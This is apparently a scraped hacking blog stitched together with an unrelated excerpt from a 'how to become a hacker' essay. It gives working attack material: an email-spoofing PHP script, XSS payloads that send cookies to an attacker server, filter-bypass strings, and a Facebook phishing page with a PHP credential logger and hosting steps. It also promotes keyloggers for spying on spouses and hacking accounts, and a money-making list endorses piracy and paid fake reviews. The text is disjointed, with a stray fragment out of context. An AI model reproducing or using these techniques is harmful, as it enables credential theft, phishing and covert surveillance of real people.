A good way to dip your toes in the water is to boot up what Linux fans call a live CD, a distribution that runs entirely off a CD without having to modify your hard disk. This will be slow, because CDs are slow, but it's a way to get a look at the possibilities without having to do anything drastic.
I have written a primer on the basics of Unix and the Internet.
I used to recommend against installing either Linux or BSD as a solo project if you're a newbie. Nowadays the installers have gotten good enough that doing it entirely on your own is possible, even for a newbie. Nevertheless, I still recommend making contact with your local Linux user's group and asking for help. It can't hurt, and may smooth the process.

3. Learn how to use the World Wide Web and write HTML.

Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.
This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. Try to stick to XHTML, which is a cleaner language than classic HTML. (There are good beginner tutorials on the Web; here's one.)
But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see The HTML Hell Page).
To be worthwhile, your page must have content — it must be interesting and/or useful to other hackers. And that brings us to the next topic...

4. If you don't have functional English, learn it.

As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.
Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).
Linus Torvalds, a Finn, comments his code in English (it apparently never occurred to him to do otherwise). His fluency in English has been an important factor in his ability to recruit a worldwide community of developers for Linux. It's an example worth following.
Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we've generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can't yet write competently, learn to.

E-mail Spoofing: Anonymous Mail Through Php

2014-02-14T18:45:00.001+05:30

Hi friends! Few weeks back I have got few mails asking me to write on tracing anonymous mails. So I thought today to get started with the topic of anonymous mailing. Before you learn to trace an email you must know to create an anonymous mail. Using this technique you can email any user from any email service you wish. You don’t even need the access to the email id from which you want the email to be sent. Today I am gonna introduced to a website service and will give you a basic idea on how it works!

After reading this article you will be able to send an email from any email address. This is also known as Email Spoofing. This can be cone in many methods, in this post I will describe to do it with a fake mailer php script.

Note: If you send an email from an id of a particular server to the id that corresponds to the same server then your email may alert the user! That is, if you mail from a Gmail id to another Gmail id using fake mailer script then there would be a warning message that would be displayed at the bottom of the email.

So let’s start the email spoofing…!

Go to http://emkei.cz
Fill the From Name, From Email and To fields.
Write the message in the Text field.
Enter the CAPTCHA and click Send!
Agree the T&C and your mail is sent!

So what is happening here?

This webpage contains a PHP code similar to the one which is given below. This script generates an email that is to be sent with the provided from email address and then it confirms whether the mail is successfully sent or not.

echo” Enter the ’To’ email address:”;

$to = $_GET[email];
echo”Enter the ‘Subject’ of email”;
$subject = $_GET[header];
echo”Enter the ‘From’ email address:”;

$fake = $_GET[from];
echo”Enter the ‘Message’”;
$message = $_GET[message];
}
$headers = “MIME-Version: 1.0″ . “\r\n”;
$headers .= “Content-type:text/html;charset=iso-8859-1″ . “\r\n”;
$headers .= “From: ” . $fake . ” <” . $fake . “>” . “\r\n”;
if (mail($to, $subject, $message, $headers))
{
echo”The e-mail was successfully sent to ” . $to . “
\n”;
echo”From: ” . $fake . “
\n”;
echo”Subject: ” . $subject . “
\n”;
echo”Message:
\n”;
echo”” . $message . “
“;
}
else
{
echo”Opps there was a problem sending the email\n”;
}
?>

To get this script into action you will have to host this PHP script at a web hosting server. Then you have to make a webpage using HTML and in the form of action=fakemailer.php has to be written. The fakemailer.php is the name of the hosted PHP file with the above code.

Remember, the email which is sent will be associated with an IP address of the web server where you hosted your PHP script. Therefore this makes the fake make traceable!

A detailed description on creating such kind of webpages and tracing the anonymous mails will be provided in my upcoming articles.

Till then have fun experimenting with fake mailing!

Feel free to comment below… Your response is most precious to us!

Code to Invite All Facebook Friends At Once

2014-02-02T20:24:00.002+05:30

Facebook friends inviter

This is javascript code to invite all facebook friends for a event/page at once.

Instructions:
1. Click Invite Friends on whatever you are inviting people to
2. In the dropdown next to the search box, make sure Search All Friends or "Search by name" is selected!
3. Scroll ALL the way down until names stop loading (I found it easy to click the first name and then hold down the spacebar or Page Down button)
4. For EVENTS Copy this code:
javascript:elms=document.getElementsByName("checkableitems[]");for (i=0;i<elms.length;i++){if (elms[i].type="checkbox" )elms[i].click()}

For PAGES Copy this code:
javascript:var inputs = document.getElementsByClassName('uiButton _1sm');
for(var i=0; i<inputs.length;i++) {
inputs[i].click();
}

5. Past the code into the URL bar of your browser (where you type website addresses), but WAIT! Check the beginning of the URL bar and make sure the word "javascript:" is there, if it is not, TYPE IT IN! A lot of browsers automatically delete the "javascript:" portion. Press enter.
6. For large friends list, this may utilize all your resources and will cause the page to freeze and be unresponsive. Just wait a few minutes until all the names get selected.

please Drop a comment!

SQL Injection Attack

2014-01-19T19:56:00.001+05:30

An SQL Injection can destroy your database.

SQL in Web Pages

In the previous chapters, you have learned to retrieve (and update) database data, using SQL.

When SQL is used to display data on a web page, it is common to let web users input their own search values.

Since SQL statements are text only, it is easy, with a little piece of computer code, to dynamically change SQL statements to provide the user with selected data:

Server Code

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

The example above, creates a select statement by adding a variable (txtUserId) to a select string. The variable is fetched from the user input (Request) to the page.

The rest of this chapter describes the potential dangers of using user input in SQL statements.

SQL Injection

SQL injection is a technique where malicious users can inject SQL commands into an SQL statements, via web page input.

Injected SQL commands can alter SQL statement and compromises the security of a web application.

SQL Injection Based on 1=1 is Always True

Look at the example above, one more time.

Let's say that the original purpose of the code was to create an SQL statement to select a user with a given user id.

If there is nothing to prevent a user from entering "wrong" input, the user can enter some "smart" input like this:

UserId:

Server Result

SELECT * FROM Users WHERE UserId = 105 or 1=1

The SQL above is valid. It will return all rows from the table Users, since WHERE 1=1 is always true.

Does the example above seem dangerous? What if the Users table contains names and passwords?

The SQL statement above is much the same as this:

SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1

A smart hacker might get access to all the user names and passwords in a database by simply inserting 105 or 1=1 into the input box.

SQL Injection Based on ""="" is Always True

Here is a common construction, used to verify user login to a web site:

User Name:

Password:

Server Code

uName = getRequestString("UserName");
uPass = getRequestString("UserPass");

sql = "SELECT * FROM Users WHERE Name ='" + uName + "' AND Pass ='" + uPass + "'"

A smart hacker might get access to user names and passwords in a database by simply inserting " or ""=" into the user name or password text box.

The code at the server will create a valid SQL statement like this:

Result

SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""

The result SQL is valid. It will return all rows from the table Users, since WHERE ""="" is always true.

SQL Injection Based on Batched SQL

Most databases support batched SQL statement, separated by semicolon.

Example

SELECT * FROM Users; DROP TABLE Suppliers

The SQL above will return all rows in the Customers table, and then delete the table called Suppliers.

If we had the following server code:

Server Code

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

And the following input:

User id:

The code at the server would create a valid SQL statement like this:

Result

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers

Parameters for Protection

Some web developers use a "blacklist" of words or characters to search for in SQL input, to prevent SQL injection attacks.

This is not a very good idea. Many of these words (like delete or drop) and characters (like semicolons and quotation marks), are used in common language, and should be allowed in many types of input.

(In fact it should be perfectly legal to input an SQL statement in a database field.)

The only proven way to protect a web site from SQL injection attacks, is to use SQL parameters.

SQL parameters are values that are added to an SQL query at execution time, in a controlled manner.

ASP.NET Razor Example

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = @0";
db.Execute(txtSQL,txtUserId);

Note that parameters are represented in the SQL statement by a @ marker.

The SQL engine checks each parameter to ensure that it is the correct for its column, and are treated literally, and not as part of the SQL to be executed.

Another Example

txtNam = getRequestString("CustomerName");
txtAdd = getRequestString("Address");
txtCit = getRequestString("City");
txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)";
db.Execute(txtSQL,txtNam,txtAdd,txtCit);

	You have just learned to avoid SQL injection. One of the top website vulnerabilities.

Examples

The following examples shows how to build parameterized queries in some common web languages.

ASP.NET SELECT

txtUserId = getRequestString("UserId");
sql = "SELECT * FROM Customers WHERE CustomerId = @0";
command = new SqlCommand(sql);
command.Parameters.AddWithValue("@0",txtUserID);
command.ExecuteReader();

ASP.NET INSERT INTO

txtNam = getRequestString("CustomerName");
txtAdd = getRequestString("Address");
txtCit = getRequestString("City");
txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)";
command = new SqlCommand(txtSQL);
command.Parameters.AddWithValue("@0",txtNam);
command.Parameters.AddWithValue("@1",txtAdd);
command.Parameters.AddWithValue("@2",txtCit);
command.ExecuteNonQuery();

PHP INSERT INTO

$stmt = $dbh->prepare("INSERT INTO Customers (CustomerName,Address,City)
VALUES (:nam, :add, :cit)");
$stmt->bindParam(':nam', $txtNam);
$stmt->bindParam(':val', $txtAdd);
$stmt->bindParam(':cit', $txtCit);
$stmt->execute();

Cross-site Scripting XSS Attacks

2014-01-04T10:22:00.002+05:30

'XSS' also known as 'CSS' - Cross Site Scripting. It is a very common vulnerability
found in Web Applications, 'XSS' allows the attacker to INSERT malicous code, There are many types of XSS attacks, I will mention 3 of the most used. This kind of vulnerability allows an "attacker" to inject some code into the applications affected in order to bypass access to the website or to apply "phishing" on falls users.
This technique is also used for website Hacking.

Types of XSS:
There are actually three types of Cross-Site Scripting, commonly named as:

DOM-Based XSS
Non-persistent XSS
Persistent XSS

DOM-Based : The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim website but on a victim local machine: the various operative system usually includes "since born" some HTML pages created for differents aims, but as long as the humans do mistakes this HTML pages often can be exploited due to code vulnerabilities.

The DOM-Based XSS exploits these problems on users local machines in this way:
- The attacker creates a well builded malicious website
- The ingenuous user opens that site
- The user has a vulnerable page on his machine
- The attacker's website sends commands to the vulnerable HTML page
- The vulnerable local page execute that commands with the user's privileges
on that machine.
- The attacker easily gain control on the victim computer.

Non-Persistent : The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It's commonly named as "non-persistent" because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker's client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result.

The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website
is vulnerable, the result page will return the result of these HTML entities.

Persistent : The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both works on a victim site and tries to hack users informations and the difference is that in websites vulnerables to Persistent XSS the attacker doesn't need to
provide the crafted url to the users, because the website itself permits to users to insert fixed data into the system: this is the case for example of "guestbooks". Usually the users uses
that kind of tool to leave messages to the owned
of the website and at a first look it doesn't seems something dangerous, but if an
attacker discover that the system is vulnerable can insert some malicious code in his
message and let ALL visitors to be victim of that.

This works when the tool provided (the guestbook in the example) doesn't do any
check on the content of the inserted message: it just inserts the data provided from
the user into the result page.

How to Find XSS Vulnerabilities:-

To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.

Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto google.com and type inurl:"search.php?q=" now that is a common page and has alot
of results. Also note that most sites have XSS Vulnerabilities, its just having a good
eye, and some good knowledge on how to bypass there filteration.

Basics of XSS:
Well now lets start learning some Actual Methods, the most common used XSS
injection is :

<script>alert("Priyanshu")</script>

now this will alert a popup message, saying "Priyanshu" without quotes.

So,use "search.php?q=" and you can simple try the following on a website with the
same thing,

http://website.com/search.php?q=<script>alert("Priyanshu")</script>

There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :

http://website.com/search.php?q=<br><br><b><u>Priyanshu</u></b>

if you see the bold text on the page and newlines then you knows its vulnerable.

Example:

How to Deface a Website using XSS ?
Well now you understand how XSS works, we can explain some simple XSS deface
methods, there are many ways for defacing i will mention some of the best and most used,
the first one being IMG SCR, now for those of you who dont know html, IMG SCR
is a tag, that displays the IMAGE linked to it on the webpage.

<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>

ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything
that shows your data after you submitted it you could insert the following to make the picture display on the page.

<IMG SRC="http://site.com/yourDefaceIMAGE.png">

The other tags are not needed has the page will already have them. Ok it helps to
make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, its the same has the method below but a more stylish deface.

<EMBED SRC="http://site.com/xss.swf"

That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script>window.open( "http://www.hackersonlineclub.tk/" )</script>

There are many others ways that you can found using Google or other website.
Mine purpose is to make you understand the concept :)

How to Cookie Stealing using XSS ?
I decided to add this has its the most usefull method of XSS. First learn how to make
cookie logger from here:

How To Make A Cookie Stealer Php script ?

ok now you have it save it has a .php file and upload to your server, remember to
create the file 'log.txt' too
and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do.
ok now your gonna want to insert this code.

window.location = "http://yourServer.com/cookielogger.php?c="+document.cookie
or
document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen
the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D

but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page search.php?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code

http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

How to Bypass Filtration ?
Alot of sites may seem vulnerable but not executing the code, well to solve this read
this. Some common methods to bypass filtration is

')alert('xss');
or
");alert('xss');

that will do the same thing has <script>alert("XSS")</script> on a vulnerable server.
You can also try hexing or base64 encoding your data before you submit, Please note
its bad practice to use alert("XSS") to test for XSS, because some sites block the
keyword "XSS" before so we using "Priyanshu".

Some other ways to bypass filtration
website.com/search.php?q="><script>alert('Priyanshu')</script>
website.com/search.php?q="><script>alert("Priyanshu")</script>
website.com/search.php?q="><script>alert("Priyanshu");</script>
website.com/search.php?q="><script>alert(/Priyanshu");</script>
website.com/search.php?q=//"><script>alert(/Priyanshu/);</script>
website.com/search.php?q=xyz<script>alert(/Priyanshu/);</script>
website.com/search.php?q=xyz"><script>alert(/Priyanshu/);</script>
website.com/search.php?q=xyz"></script><script>alert(/Priyanshu/);</script>
website.com/search.php?q=000"><script></script><script>alert(Priyanshu);</script>
website.com/search.php?q=000xyz</script><script>alert(/Priyanshu/);</script>
website.com/search.php?q=--<script>"></script>alert(/Priyanshu/);</script>
website.com/search.php?q="><img src='javascript:alert('Priyanshu');'>
website.com/search.php?q="><script src='http://virus.js'</script>

Advanced XSS - way to bypass magic quotes filtration:
Ok now we are going to learn about some good techniqes. I have came across many
sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here

http://www.asciitable.com/
http://easycalculation.com/

This will help you write what you want, In my examples ill be writing "HOC" this is the following code

72 79 67

Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.

String.fromCharCode()

is suitable for this kinda things, its easy to setup, im gona give it my args below.

String.fromCharCode(72, 79, 67)

Ok now "String.fromCharCode(72, 79, 67)" Is a JAVA (ASCII) way of saying "HOC".
And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.

<script>alert(String.fromCharCode(72, 79, 67))</script>

Top 24 Ways to Earn Money Online

2013-10-25T23:56:00.002+05:30

1. Website Building

If the internet is a country, then websites are like real estates. I’m hoping by now you have a general understanding that real estates are valuable in the physical world – digital real estates work the same way. By building a website, you’re creating your own plot of online “land.”

You can fill this land with whatever you want, but you have to promote it through social media (and anywhere else you can think of) for this to be successful. When you build traffic to your land, you can sell people whatever you have to offer. In order to build a website, you need a host (i.e GoDaddy), a template (i.e WordPress), and content.

The first two parts are easy to find, and content is only as difficult as you make it. You can post blogs, items for sale, pictures, videos, or whatever you want. Opening up your own website gives you the potential to make money from the avenues I’m going to mention.

2. B2B Marketing

An online business model I love is utilized by GetVoiP, an affiliate marketer based in New York. GetVoiP acts as an agent for business communication providers. They maintain updated listings of VoiP providers, including ratings, comparisons, consumer reviews, in-depth knowledge of market and end-user trends, and expert opinions from business professionals on a variety of topics related to business consumers. By not only keeping abreast of news, but providing detailed analysis of products being offered, GetVoiP is able to generate traffic to their site and increase their clout with businesses.

The more online clout you have as a business, the more money you’ll make. If you’re known for making lasting connections (as is the case with GetVoiP above), then you’ll have no issues building your online brand. You’ll be recognized in your community and begin to build a buzz in your industry. Tracking your numbers (how many people view your site, click each ad, and make a purchase from that click) gives you the leverage to expand this part of your business, enabling you to continue building your online rep.

3. Google Adsense

If that sounds like too much technical information for you, there is an easy button – Google’s advertising platform is as simple as signing up, enabling (on Blogger) or pasting a small code on your website, and allowing the advertisements to automatically roll in. The problem with this program is that you don’t get any commissions – and you don’t get to control the ad content. This is useful for some, but powerful users will want something a little more robust.

4. Amazon Associates

Amazon has an Associates program for site owners and bloggers. They offer a search tool to find the right products and services from their site and a variety of ad styles to display on your site, including text-based and banner images (digital billboards) like this:

Each item purchased through your Amazon links give you a commission. It doesn’t take high volume traffic to achieve results, either. I began making money with the program when I only had 1,000 hits per month on my site. They can apply your earnings to your Amazon account balance, issue you a check, or direct deposit into your bank account. If you love Amazon, you’ll love their associate’s program.

5. Rakuten Linkshare

Amazon and Google are far from your only options for online advertising. Rakuten Linkshare is a great place to search for other affiliates for your ads. Through their program, you can get customized ad links, email links, and banner ads for Starbucks, Walmart, iTunes, and a slew of other popular brands. With this program, you can also find smaller companies, regional or specialized brands, and more. I run a combination of Google, Amazon, and Rakuten’s programs, and my monthly income is approximately $150 from these programs. It’s not a lot of money, but it’s also not a lot of work for residual (it means recurring…since the ads are permanent…) income.

6. Company Referral Programs

Speaking of the benefits of permanent ads, banners and links aren’t the only ways to earn a little bit of dough off your online endeavors. By having a website, you gain the power of emailing companies to ask them for things. I have no shame in letting the yoga company whose mat I’m looking into purchasing know that I have a blog and write for yoga publications – it sometimes gets me discounts.

Other times, I gain a valuable business contact in PR, advertising, or other aspects of corporate sales. Sometimes I just get a free drink. Either way, money in and of itself is worthless. Ditch the middle man and use the internet to barter what you have and can do for what you need.

7. Klout

If you have a social media account, try out Klout. The company tracks your social media usage, determines how big and what type of audience you draw based on the subject matter of your updates and posts. Using this information, you’re qualified to receive free items, tickets, etc. Check their website often to find ways of earning free stuff by doing what you’re already doing online…boring the rest of us…

8. EBay

If you have anything you want to sell, then EBay is the place you need to seriously consider doing it first. Personally I’m not a fan of the site because of the work it takes to build up a reputation. If you’re willing to grind through that process, you’ll be rewarded with many privileges – people have gotten rich selling books about how they got rich selling everything on EBay.

9. Amazon

If you start getting too big for EBay or decide you want to try a different flavor, Amazon has a marketplace as well. I prefer using Amazon because I can depend on their shipping, have a Prime account, and trust their reviews (overall, not usually singularly, although occasionally that as well).

The difference between Amazon and EBay is that EBay (though still filled with new items) is seen as a used marketplace between individual parties, whereas Amazon (which is filled with offers for new and used merchandise from the 3rdparties) is viewed as a Wal-Mart-type superstore. As a consumer, this difference leads me to use Amazon, so it only makes sense to target on my own demographic.

10. Etsy

If you’re crafty (and I mean that in more than one way, wink wink), you’ll enjoy Etsy. Handcrafted items are the bread and butter here. Plenty of people make decent side money on the site, which is basically an EBay for crafters and artists. Set up a sellers account with Etsy, and you’ll be asked to set up your virtual storefront and put up at least 5 goods for sale.

Once you have this down, you’ll be a budding Etsy entrepreneur. Provide great quality to your customers, and they’ll often return. Many people are willing to pay a premium for quality handmade designs. Etsy (like EBay and Amazon) takes a cut off the top for selling items through their site. PayPal takes another cut, and you have to be careful with taxes on all income, so be diligent while building your online business.

11. Craigslist

Craigslist is the modern equivalent of the classified ads that dominated the days of newspapers. These quick ads are easy to navigate and use, and they’re geographically linked. Whether you’re selling something or offering a service,

Posting ads on Craigslist is technically easy, but people often have fears about posting their personal information on the site. I communicate mostly through email when doing business on Craigslist, and I’ve never run into any issues. I’ve never been ripped off, nor have I been murdered or raped for using the site. It takes common sense, so use your best judgment, but don’t assume someone is a thief just because of their preferred communication method. For an extra bonus, google “funny Craigslist ads” to see some delightful examples of guerilla and grassroots marketing.

12. Indeed

Maybe what you need is a job. It doesn’t matter which job search site you prefer using (even Craigslist) – Indeed tracks them all, and then some. You can find jobs posted on company websites, through temp agencies, and more at Indeed. If money is something you really need, Indeed is most definitely the place you want to visit to browse career opportunities.

13. Elance

Where Indeed excels at finding job postings across the web and acting as a search crawler for employment, maybe a full-fledged career is too big of a commitment at this point in your life. Elance is a site to find freelance work of all types. I’ve used it for quick writing, editing, copywriting, resume building, and other odd jobs and temp gigs. The experience has been great.

Elance offers a wide array of technical, data entry, accounting, and other freelance and temp gigs. If you’re just looking for something short and sweet, log in, input and showcase your marketable skills, and begin searching through their job database, using any parameters you desire. Once you submit a bid, you’ll receive an acceptance or denial – you may get a few rejections, but don’t sweat it. Negotiate the terms of your bid, and get to work. You have money to make.

14. Mturk

If you’ve heard of crowdsourcing (and even if you haven’t), Amazon’s Mechanical Turk program is a great place to get involved. Much like at Elance, you input your info and skills. You then are able to search for different menial tasks ranging from identifying inappropriate web content to transcribing audio recordings to basic data entry work.

Just like at any other job, the more work you do, and the better your quality, the more opportunities you’ll have to make money. The payouts are often small, and your payment is received in Amazon credit, but Mturk is a great place to make mindless money while veg’ing on the couch watching TV.

15. LinkedIn

LinkedIn is a social media site for professionals. This isn’t a direct way to make money, but it’s a great way to connect to your current and potential peers, customers, clients, vendors, and more here. You’ll build a reputation and get in the loop on important developments in your chosen career path and/or industry. One day an old college buddy may hit you up for a dream job you never considered at the exact moment you are looking for a new vocation. Whether you like it or not, keeping your LinkedIn profile current is a great way to get surprised with new work opportunities out the blue.

16. Care.com

If you’re an experienced nanny or babysitter, Care.com is the place you want to make money. By listing yourself on the Craigslist of Childcare, you’ll broaden your reach and increase your odds of finding the right gig at the right time. You can be pickier with what kids you watch when you have the reputation and traffic to pull in more customers. Join Care.com and start making money by investing in the future of our youth.

17. ThePirateBay

I support bootlegging – I don’t see it as being immoral or unethical in any way. I used to bootleg quite a bit in my youth, and I still do on occasion today (although not yet today in particular, I more meant “in the present”). If you want to hustle for your money, do what you must, baby. Download some software, music, movies, or other assorted digital goodness here and start slangin. It’s not an easy life, but sometimes you gotta do what you gotta do.

18. iTunes

If you’re a musician, writer, artist, tech nerd, pundit, or can produce any type of audio, video, or text worth consuming, you may be able to sell some stuff in Apple’s flagship iTunes store. By selling your work here, you’re able to stand next to the marketing clout of big business. You can make a healthy living off the iTunes store, and there’s no better time than now.

19. Yelp!

If you have a business, you want to get listed on Yelp! You may not use the software, but some people do, and they use it religiously (and I don’t mean they’ll kill you over it). By listing your business on Yelp!, you’re putting yourself on the map. From here, you also need to start using Yelp! Write reviews of places you go. It’ll be worth it in the long run.

Soon, you’ll have a dozen or so reviews under your belt and can hire yourself out as a Yelp! reviewer. There are ethical and moral questions to doing this, but the title of this piece is “ways to make money,” not “ethical ways to make money,” and I am a former Bank of America/Countrywide employee, so what’d you expect?

20. Wikipedia

Another seemingly free site you can make money from is Wikipedia. People who say it’s easy to edit Wikipedia have clearly never tried editing Wikipedia – it’s a pain. Thankfully it’s a pain for companies as well, so many of them are willing to pay editors to assist them in the editing process. You’ll become a bounty hunter in a way, choosing your own lines to cross and keep. If editing is something you like to do, and you’re willing to put in the work it takes to learn Wikipedia’s dispute process, roll up your sleeves and try this one out.

21. Blogging

I make the bulk of my money from blogging. In addition to the advertising revenue streams mentioned above, I also receive flat rate payments for blogging from various blogs throughout the web. I’m paid to write as a whistleblower, financial analyst, reviewer, commentator, and more. Writing for other sites builds traffic to my personal blog. The traffic for this blog gives me clout to present to advertisers.

To create your own blog, you don’t even need a web domain. You can start a completely free blog on either WordPress or Blogger. Each of these sites has its ups and downs, but you can’t beat the price. You generally want to keep blog posts between 150-500 words until you have a few dozen under your belt. Links between your blog posts encourage people to stay on your blog once they find it, increasing traffic. Once your blog is up, promote it on social media for the greatest effect.

22. Kickstarter

If you have a passion project, Kickstarter may be exactly what you need to get it off the ground. Celebs like Zach Braff and Melissa Joan Hart have used this site in attempts to fund their movie projects. Some crack dealers in Canada inspired a “crackstarter” campaign from Gawker for pictures of the Toronto mayor smoking crack with them. All you need is a dream, a goal, a budget, and a great pitch to convince people to come to the site and donate to your Kickstarter campaign. Panhandling isn’t dead – it’s gone digital…

23. Extreme Couponing

If you’ve never heard of extreme couponing. Once you’re versed on the idea, what you have to do is a bit difficult at first, but it’s a great way to both save and make money: go to hip2save.com and get a feel for the types of deals that are out there (both online and in the physical world). Once you’re comfortable with the process, start searching for the best deals in grocery, retail, and online shopping. After a month or two of extreme couponing, you’ll have enough cleaning, hygiene, and food supplies stocked up to save a noticeable amount of money. Now maybe you don’t need to make as much…?

24. Social Media

No matter what you do to make money online, promote it on your social media accounts. You have a base of people who are already interested in you and have a vested interest in your brand – why would you not want to take advantage of that? By promoting yourself and your projects on your social media accounts, you’re greatly increasing the chances of people actually giving you money in exchange for your goods and services. Stop being shy and get out there.

It shows the discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim's name.

What are Keyloggers?

2013-10-24T23:11:00.000+05:30

A keylogger sometimes called a spying software is a small program which is used to monitor a local or a Remote PC, Keyloggers now a days are so easy to use that a person with even a basic knowledge of computers can use keylogger.Once a keylogger is installed in your computer it can monitor each and every keystroke typed on your computer, thus key logger can be used for many purposes such as monitoring your children , employees and many more

There are Two main types of keyloggers that you should be aware of

Hardware Keyloggers

This type of keylogger is a piece of equipment that is physically attached to ones computer, typically between the keyboard and the machine itself. While this type is the most powerful and readily available (try a Google search for ‘keylogger’ and you’ll be shocked), it also requires direct access to a machine to be installed.

Software Keyloggers

This is the form of keylogging that you should be most aware of. In this case, the keylogger is attached via Malware, typically through a trojan horse. Thus, you’ll download an unsuspicious file (the trojan horse) that contains the keylogging software (malware). Once installed, the controller has full access to all of your keystrokes and passwords.

Why Do I need A keylogger ?

For Partners: Do you Suspect that your Spouse is cheating on you AND you do not have hard evidence to prove it? Consider Installing SniperSpy, it not only gives you the Complete activity of your Spouse but also provides enough Screen shots and Chat history that can serve as the clear evidence against your Cheating Spouse

For Hackers: Are you looking for any easy way to hack into someones facebook or Myspace accounts ? or wanna control someones facebook account? Key loggers can expose you all the Keystrokes entered by your victim including Usernames and Passwords for any websites.

For Parents: Does your child spends most of their time before their computers? If your children spend time chatting or playing computer games, they can be approached by the strangers. In other words they are exposed to potentially Dangerous things like PORN, Gambling, Dating Strangers, etc. In this Case Keyloggers is the best solution to Monitor and control the Online Activity of your child.

For Employers: Do all your employees use their computer resources and Internet connection solely for your business? Do they work as hard as you? OR Do you suspect your employee’s productivity is lacking? You should consider installing Key logger Software that can serve as the best Employee Monitoring Software for Small business.

Which Keylogger to choose ?
There are plenty of Key loggers in the market some are free and some are costly , With my experience of more than 3 years in the field of Hacking and security I suggest only two key loggers which I think are best and have a comparatively low antivirus detection rate ,

1. Sniperspy
2. Realtime spy

If your looking for some Free key loggers then i would suggest you to go with Ardmax keylogger.

Hack Facebook Password Using Phishing Page

2013-10-05T18:24:00.000+05:30

Phishing is attempting to acquire information (and sometimes, indirectly, money) such as usernames, passwords, and credit card details by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public. Phishing is typically carried out by e-mail spoofing or instant messaging,and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. Phishing is an example of social engineering techniques used to deceive users, and exploits the poor usability of current web security technologies. Attempts to deal with the growing number of reported phishing incidents include legislation, user training, public awareness, and technical security measures.

today we create a facebook phishing page which look similar to a facebook page but it's not actually a facebook page,when victim enter his username and password you will be able to see that.Interesting.....

FACEBOOK PHISHING....

steps to create a phishing page:

1.Go to the Facebook page ,and then right click on the page, u will see the option view source page,click on that.

2.now a new tab will open which contain a source code,Select all the stuff and paste it in a notepad.

3.Now open the notepad and press CTRL+F,and type ACTION.

4.You will have to find a text which looks like ..

action="https://www.facebook.com/login.php?login_attempt=1"

5.delete all the text written in red colour and instead of it write post.php.then it will look like...

action="post.php"

6.Now save it on your desktop with the name index.htm,not index.html,remember.

7.Now your phishing page is ready.it will look like a pic given below .

index

8.Open a new notepad and save the given data with the name post.php.

<?php
header ('Location:http://www.facebook.com/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

9.You have two files now one is index.htm and another is post.php,remember file extension is important.

10.Now u have to upload it in a web hosting site ,i prefer u to use www.000webhost.com or else www.,my3gb.com.

11.I prefer u to use 000webhost because it will be easy to use.

12.You have to make a account in that ,after that it looks like a picture given below.

13.Now go control pannel,then on file manager.

14.After that a new window will pop up.Now go to public_html.

15.Delete the file named default.php,after that upload two files index.htm and post.php one by one .

16.Now the last step click on view of index.htm it will look same as facebook page.

this is your Facebook phishing page

